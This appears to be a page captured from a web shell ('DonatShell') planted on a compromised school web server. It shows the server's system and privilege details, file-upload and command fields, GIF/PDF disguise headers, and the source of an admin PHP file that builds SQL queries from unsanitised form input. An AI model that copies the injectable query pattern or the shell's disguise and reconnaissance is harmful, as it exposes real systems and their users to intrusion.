GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/Class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/Class/ClassEvaluationUpdate.phpinc
<?
// Admin/Class/ClassEvaluationUpdate.phpinc

debugTrackBegin();
//setDebugOn();
#if (false) echo "<b>".__FILE__."</b><br>\n";
// Student and Class profiles.
$f_studentProfilePoints = formValue('studentProfilePoints');
if ($f_studentProfilePoints == '' || !is_numeric($f_studentProfilePoints)) { $f_studentProfilePoints = 0; }
$f_classProfilePoints = formValue('classProfilePoints');
if ($f_classProfilePoints == '' || !is_numeric($f_classProfilePoints)) { $f_classProfilePoints = 0; }
$f_lastModified = currentDateTime();
$query = "
UPDATE class SET
  studentProfilePoints = ".$f_studentProfilePoints.",
  classProfilePoints = ".$f_classProfilePoints."
WHERE classId = ".$f_classId."
";
$classUpdate = query_do($query);
// Update current evaluations.
$f_evaluationIdArray = formValue('evaluationId');
setDebugOff();
d_Off();
if (false) {
	echo "<br><b>Update current evaluations.</b><br>\n";
	echo "count(\$f_evaluationIdArray)=".count($f_evaluationIdArray)."<br>\n";
	echo "\$f_evaluationIdArray="; print_r($f_evaluationIdArray); echo "<br>\n";
	echo "\$f_evaluationIdArray[0]=".$f_evaluationIdArray[0]."<br>\n";
}
if ($f_evaluationIdArray[0] != '') {
	foreach ($f_evaluationIdArray as $f_evaluationId) {
		$f_evaluationDrop = formvalue('evaluationDrop_U'.$f_evaluationId);
		$f_evaluationDescription = formvalue('evaluationDescription_U'.$f_evaluationId);
		$f_evaluationOrder = formvalue('evaluationOrder_U'.$f_evaluationId);
		$f_evaluationPoints = formvalue('evaluationPoints_U'.$f_evaluationId);
		$f_evaluationSubOrder = formvalue('evaluationSubOrder_U'.$f_evaluationId);
		$f_evaluationTitle = formvalue('evaluationTitle_U'.$f_evaluationId);
		$f_evaluationType = formvalue('evaluationType_U'.$f_evaluationId);
		$f_evaluationWeight = formvalue('evaluationWeight_U'.$f_evaluationId);
		$f_evaluationCritical = formvalue('evaluationCritical_U'.$f_evaluationId);
		$f_evaluationExtraCredit = formvalue('evaluationExtraCredit_U'.$f_evaluationId);
		$f_evaluationInactive = formvalue('evaluationInactive_U'.$f_evaluationId);
		if ($f_evaluationOrder == '' || !is_numeric($f_evaluationOrder)) { $f_evaluationOrder = 0; }
		if ($f_evaluationPoints == '' || !is_numeric($f_evaluationPoints)) { $f_evaluationPoints = 0; }
		if ($f_evaluationSubOrder == '' || !is_numeric($f_evaluationSubOrder)) { $f_evaluationSubOrder = 0; }
		if ($f_evaluationType == '') { $f_evaluationType = "na"; }
		if ($f_evaluationWeight == '' || !is_numeric($f_evaluationWeight)) { $f_evaluationWeight = 1; }
		if ($f_evaluationCritical == '' || !is_numeric($f_evaluationCritical)) { $f_evaluationCritical = 0; }
		if ($f_evaluationExtraCredit == '' || !is_numeric($f_evaluationExtraCredit)) { $f_evaluationExtraCredit = 0; }
		if ($f_evaluationInactive == '' || !is_numeric($f_evaluationInactive)) { $f_evaluationInactive = 0; }
		if (false) {
			echo "<b>\$f_evaluationId=".$f_evaluationId."</b><br>\n";
			echo "\$f_evaluationDrop=".$f_evaluationDrop."<br>\n";
			echo "\$f_evaluationDescription=".$f_evaluationDescription."<br>\n";
			echo "\$f_evaluationOrder=".$f_evaluationOrder."<br>\n";
			echo "\$f_evaluationPoints=".$f_evaluationPoints."<br>\n";
			echo "\$f_evaluationSubOrder=".$f_evaluationSubOrder."<br>\n";
			echo "\$f_evaluationTitle=".$f_evaluationTitle."<br>\n";
			echo "\$f_evaluationType=".$f_evaluationType."<br>\n";
			echo "\$f_evaluationWeight=".$f_evaluationWeight."<br>\n";
			echo "\$f_evaluationCritical=".$f_evaluationCritical."<br>\n";
			echo "\$f_evaluationExtraCredit=".$f_evaluationExtraCredit."<br>\n";
			echo "\$f_evaluationInactive=".$f_evaluationInactive."<br>\n";
		}
		if ($f_evaluationDrop != 1) {
			// Update evaluation.
			if ($_SESSION['uuid'] != $f_uuid) {
				$f_lastModified = currentDateTime();
				$query = "
				UPDATE evaluation SET
					evaluationOrder = ".$f_evaluationOrder.",
					evaluationSubOrder = ".$f_evaluationSubOrder.",
					evaluationType = '".$f_evaluationType."',
					evaluationTitle = '".$f_evaluationTitle."',
					evaluationDescription = '".$f_evaluationDescription."',
					evaluationPoints = ".$f_evaluationPoints.",
					evaluationWeight = ".$f_evaluationWeight.",
					evaluationCritical = ".$f_evaluationCritical.",
					evaluationExtraCredit = ".$f_evaluationExtraCredit.",
					evaluationInactive = '".$f_evaluationInactive."',
					lastModified = '".$f_lastModified."',
					modifiedBy = ".$_SESSION['userId']."
				WHERE evaluationId = ".$f_evaluationId."
				";
				if (false) {
					echo "\$query=".$query."<br>\n";
				}
				$evaluationUpdate = query_do($query);
			}
		} else {
			// Delete evaluation.
			if ($_SESSION['uuid'] != $f_uuid) {
				$query = "
				DELETE FROM evaluation
				WHERE evaluationId = ".$f_evaluationId."
				";
				if (false) {
					echo "\$query=".$query."<br>\n";
				}
				$evaluationDelete = query_do($query);
			}
		}
	}
}
// Insert new evaluations.
$f_form_classevaluationlist = formvalue('form_classevaluationlist_RC',"wf_");
if ($f_form_classevaluationlist == "") { $f_form_classevaluationlist = 1; }
if (false) {
	echo "<br><b>Insert new evaluations.</b><br>\n";
	echo "\$f_form_classevaluationlist=".$f_form_classevaluationlist."<br>\n";
}
$f_evaluationDescription = array();
$f_evaluationOrder = array();
$f_evaluationPoints = array();
$f_evaluationSubOrder = array();
$f_evaluationTitle = array();
$f_evaluationType = array();
$f_evaluationWeight = array();
$f_evaluationCritical  = array();
$f_evaluationExtraCredit  = array();
$f_evaluationInactive  = array();
for ($i=1; $i<=100; $i++) {
	if ($i != 1) { $suffix = '_A_'.$i; } else { $suffix = '_A'; }
	$f_evaluationTitle[$i] = formvalue('evaluationTitle'.$suffix,"wf_");
	if (false) printVar('$f_evaluationTitle['.$i.']',$f_evaluationTitle[$i]);
	if (	$f_evaluationTitle[$i] ) {
		$f_evaluationDescription[$i] = formvalue('evaluationDescription'.$suffix,"wf_");
		$f_evaluationOrder[$i] = formvalue('evaluationOrder'.$suffix,"wf_");
		$f_evaluationPoints[$i] = formvalue('evaluationPoints'.$suffix,"wf_");
		$f_evaluationSubOrder[$i] = formvalue('evaluationSubOrder'.$suffix,"wf_");
		$f_evaluationType[$i] = formvalue('evaluationType'.$suffix,"wf_");
		$f_evaluationWeight[$i] = formvalue('evaluationWeight'.$suffix,"wf_");
		$f_evaluationCritical[$i] = formvalue('evaluationCritical'.$suffix,"wf_");
		$f_evaluationExtraCredit[$i] = formvalue('evaluationExtraCredit'.$suffix,"wf_");
		$f_evaluationInactive[$i] = formvalue('evaluationInactive'.$suffix,"wf_");
		$entry = $f_evaluationDescription[$i].$f_evaluationOrder[$i].$f_evaluationPoints[$i].$f_evaluationSubOrder[$i].$f_evaluationTitle[$i].$f_evaluationType[$i].$f_evaluationWeight[$i];
		if (false) {
			echo "\$entry=".$entry."<br>\n";
		}
		if ($entry != '') {
			// Correct entry
			if ($f_evaluationOrder[$i] == '' || !is_numeric($f_evaluationOrder[$i])) { $f_evaluationOrder[$i] = 0; }
			if ($f_evaluationPoints[$i] == '' || !is_numeric($f_evaluationPoints[$i])) { $f_evaluationPoints[$i] = 0; }
			if ($f_evaluationSubOrder[$i] == '' || !is_numeric($f_evaluationSubOrder[$i])) { $f_evaluationSubOrder[$i] = 0; }
			if ($f_evaluationType[$i] == '') { $f_evaluationType[$i] = "na"; }
			if ($f_evaluationWeight[$i] == '' || !is_numeric($f_evaluationWeight[$i])) { $f_evaluationWeight[$i] = 1; }
			if ($f_evaluationCritical[$i] == '' || !is_numeric($f_evaluationCritical[$i])) { $f_evaluationCritical[$i] = 0; }
			if ($f_evaluationExtraCredit[$i] == '' || !is_numeric($f_evaluationExtraCredit[$i])) { $f_evaluationExtraCredit[$i] = 0; }
			if ($f_evaluationInactive[$i] == '' || !is_numeric($f_evaluationInactive[$i])) { $f_evaluationInactive[$i] = 0; }
			// Add evaluation
			if ($_SESSION['uuid'] != $f_uuid) {
				$f_lastModified = currentDateTime();
				$query = "
				INSERT INTO evaluation (
					classId,
					evaluationOrder,
					evaluationSubOrder,
					evaluationType,
					evaluationTitle,
					evaluationDescription,
					evaluationPoints,
					evaluationWeight,
					evaluationCritical,
					evaluationExtraCredit,
					evaluationIsHidden,
					evaluationInactive,
					lastModified,
					modifiedBy
				) VALUES (
					".$f_classId.",
					".$f_evaluationOrder[$i].",
					".$f_evaluationSubOrder[$i].",
				 '".$f_evaluationType[$i]."',
				 '".$f_evaluationTitle[$i]."',
				 '".$f_evaluationDescription[$i]."',
					".$f_evaluationPoints[$i].",
					".$f_evaluationWeight[$i].",
					".$f_evaluationCritical[$i].",
					".$f_evaluationExtraCredit[$i].",
					0,
					".$f_evaluationInactive[$i].",
				 '".$f_lastModified."',
					".$_SESSION['userId']."
				)";
				if (false) {
					echo "\$query=".$query."<br>\n";
				}
				$evaluationInsert = query_do($query);		
			} // if ($_SESSION['uuid'] != $f_uuid)
		} // if ($entry != '')
	} // if (	$f_evaluationTitle[$i] )
} // for ($i=1; $i<=100; $i++)
if (false) {
	echo "\$f_evaluationDescription="; print_r($f_evaluationDescription); echo "<br>\n";
	echo "\$f_evaluationOrder="; print_r($f_evaluationOrder); echo "<br>\n";
	echo "\$f_evaluationPoints="; print_r($f_evaluationPoints); echo "<br>\n";
	echo "\$f_evaluationSubOrder="; print_r($f_evaluationSubOrder); echo "<br>\n";
	echo "\$f_evaluationTitle="; print_r($f_evaluationTitle); echo "<br>\n";
	echo "\$f_evaluationType="; print_r($f_evaluationType); echo "<br>\n";
	echo "\$f_evaluationWeight="; print_r($f_evaluationWeight); echo "<br>\n";
	echo "\$f_evaluationCritical="; print_r($f_evaluationCritical); echo "<br>\n";
	echo "\$f_evaluationExtraCredit="; print_r($f_evaluationExtraCredit); echo "<br>\n";
	echo "\$f_evaluationInactive="; print_r($f_evaluationInactive); echo "<br>\n";
}
$_SESSION['uuid'] = $f_uuid;
?>
<?
debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team